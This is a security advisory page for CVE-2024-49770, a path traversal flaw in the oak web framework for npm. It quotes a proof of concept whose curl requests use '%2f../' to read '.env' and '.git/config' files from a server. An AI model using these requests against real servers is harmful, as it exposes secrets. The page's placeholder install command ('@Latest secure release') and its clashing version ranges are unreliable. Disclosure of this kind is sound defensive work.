CVE-2024-49770: @oakserver/oak Path Traversal Vulnerability

HIGH
Advisory Identifier: GHSA-qm92-93fv-vh7m
CVSS 7.5
CWE-35 CWE-22
Published
Advisory Summary

CVE-2024-49770 is a HIGH (CVSS 7.5) path traversal vulnerability (CWE-35: Path Traversal: '.../...//') affecting @oakserver/oak libraries in the npm ecosystem. The issue involves path traversal in oak allows transfer of hidden files within the served root directory. Remediation is available in the latest vendor maintenance releases.

CVE-2024-49770 at a Glance

CVE Identifier CVE-2024-49770
GHSA Identifier GHSA-qm92-93fv-vh7m
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-35: Path Traversal: '.../...//'
Affected Product @oakserver/oak
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2024-49770

To remediate this vulnerability, upgrade all affected @oakserver/oak dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@oakserver/oak fixed: Latest secure release
npm install @oakserver/oak@Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @oakserver/oak

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2024-49770, inspect your project dependencies using npm:

npm ls @oakserver/oak

Analyze the terminal output to locate any version of @oakserver/oak in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: The npm ls @oakserver/oak command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-35: Path Traversal: '.../...//', where the product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '.../...//' (doubled triple dot slash) sequences that can resolve to a location that is outside of that directory. In @oakserver/oak, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary By default `oak` does not allow transferring of hidden files with `Context.send` API. However, this can be bypassed by encoding `/` as its URL encoded form `%2F`. ### Details 1.) Oak uses [decodeComponent](https://github.com/oakserver/oak/blob/3896fe568b25ac0b4c5afbf822ff8344c3d1712a/send.ts#L182C10-L182C25) which seems to be unexpected. This is also the reason why it is not possible to access a file that contains URL encoded characters unless the client URL encodes it first. 2.) The function [isHidden](https://github.com/oakserver/oak/blob/3896fe568b25ac0b4c5afbf822ff8344c3d1712a/send.ts#L117-L125) is flawed since it only checks if the first subpath is hidden, allowing secrets to be read from `subdir/.env`. ### PoC ```ts // server.ts import { Application } from "jsr:@oak/oak@17.1.2"; const app = new Application(); app.use(async (context, next) => { try { await context.send({ root: './root', hidden: false, // default }); } catch { await next(); } }); await app.listen({ port: 8000 }); ``` In terminal: ```bash # setup root directory mkdir root/.git echo SECRET_KEY=oops > root/.env echo oops > root/.git/config # start server deno run -A server.ts # in another terminal curl -D- http://127.0.0.1:8000/poc%2f../.env curl -D- http://127.0.0.1:8000/poc%2f../.git/config ``` ### Impact For an attacker this has potential to read sensitive user data or to gain access to server secrets.

CVE-2024-49770 Affected @oakserver/oak Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
@oakserver/oak
npm
≤ 14.1.0

References

Frequently Asked Questions

What is CVE-2024-49770?
CVE-2024-49770 is a security vulnerability in @oakserver/oak involving Path traversal in oak allows transfer of hidden files within the served root directory under CWE-35: Path Traversal: '.../...//'.
Which @oakserver/oak versions are affected?
Affected versions include releases prior to current release patches across affected packages: @oakserver/oak.
What version fixes CVE-2024-49770?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is @oakserver/oak affected?
Yes, @oakserver/oak is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2024-49770?
CVE-2024-49770 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N.
What CWE is associated with CVE-2024-49770?
CVE-2024-49770 is classified under CWE-35: Path Traversal: '.../...//' (The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '.../...//' (doubled triple dot slash) sequences that can resolve to a location that is outside of that directory.).
How can I check npm dependencies for CVE-2024-49770?
Run the dependency tree command: 'npm ls @oakserver/oak'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-qm92-93fv-vh7m",
  "modified" : "2024-11-01T21:37:10Z",
  "published" : "2024-11-01T21:37:10Z",
  "aliases" : [ "CVE-2024-49770" ],
  "summary" : "Path traversal in oak allows transfer of hidden files within the served root directory",
  "details" : "### Summary\n\nBy default `oak` does not allow transferring of hidden files with `Context.send` API. However, this can be bypassed by\nencoding `/` as its URL encoded form `%2F`.\n\n### Details\n\n1.) Oak uses [decodeComponent](https://github.com/oakserver/oak/blob/3896fe568b25ac0b4c5afbf822ff8344c3d1712a/send.ts#L182C10-L182C25) which seems to be unexpected. This is also the reason why it is not possible to access a file that\ncontains URL encoded characters unless the client URL encodes it first.\n\n2.) The function [isHidden](https://github.com/oakserver/oak/blob/3896fe568b25ac0b4c5afbf822ff8344c3d1712a/send.ts#L117-L125) is flawed since it only checks if the first subpath is hidden, allowing secrets to be read from `subdir/.env`.\n\n### PoC\n\n```ts\n// server.ts\n\nimport { Application } from \"jsr:@oak/oak@17.1.2\";\n\nconst app = new Application();\n\napp.use(async (context, next) => {\n  try {\n    await context.send({\n      root: './root',\n      hidden: false, // default\n    });\n  } catch {\n    await next();\n  }\n});\n\nawait app.listen({ port: 8000 });\n```\n\nIn terminal:\n\n```bash\n# setup root directory\nmkdir root/.git\necho SECRET_KEY=oops > root/.env\necho oops >  root/.git/config\n\n# start server\ndeno run -A server.ts\n\n# in another terminal\ncurl -D- http://127.0.0.1:8000/poc%2f../.env\ncurl -D- http://127.0.0.1:8000/poc%2f../.git/config\n```\n\n### Impact\n\nFor an attacker this has potential to read sensitive user data or to gain access to server secrets.\n",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@oakserver/oak"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "14.1.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/oakserver/oak/security/advisories/GHSA-qm92-93fv-vh7m"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-49770"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/oakserver/oak/commit/4b2f27efd5cba5a45b2c3982e610da3af0869209"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/oakserver/oak"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/oakserver/oak/blob/3896fe568b25ac0b4c5afbf822ff8344c3d1712a/send.ts#L117-L125"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/oakserver/oak/blob/3896fe568b25ac0b4c5afbf822ff8344c3d1712a/send.ts#L182C10-L182C25"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22", "CWE-35" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-11-01T21:37:10Z",
    "nvd_published_at" : "2024-11-01T17:15:17Z"
  }
}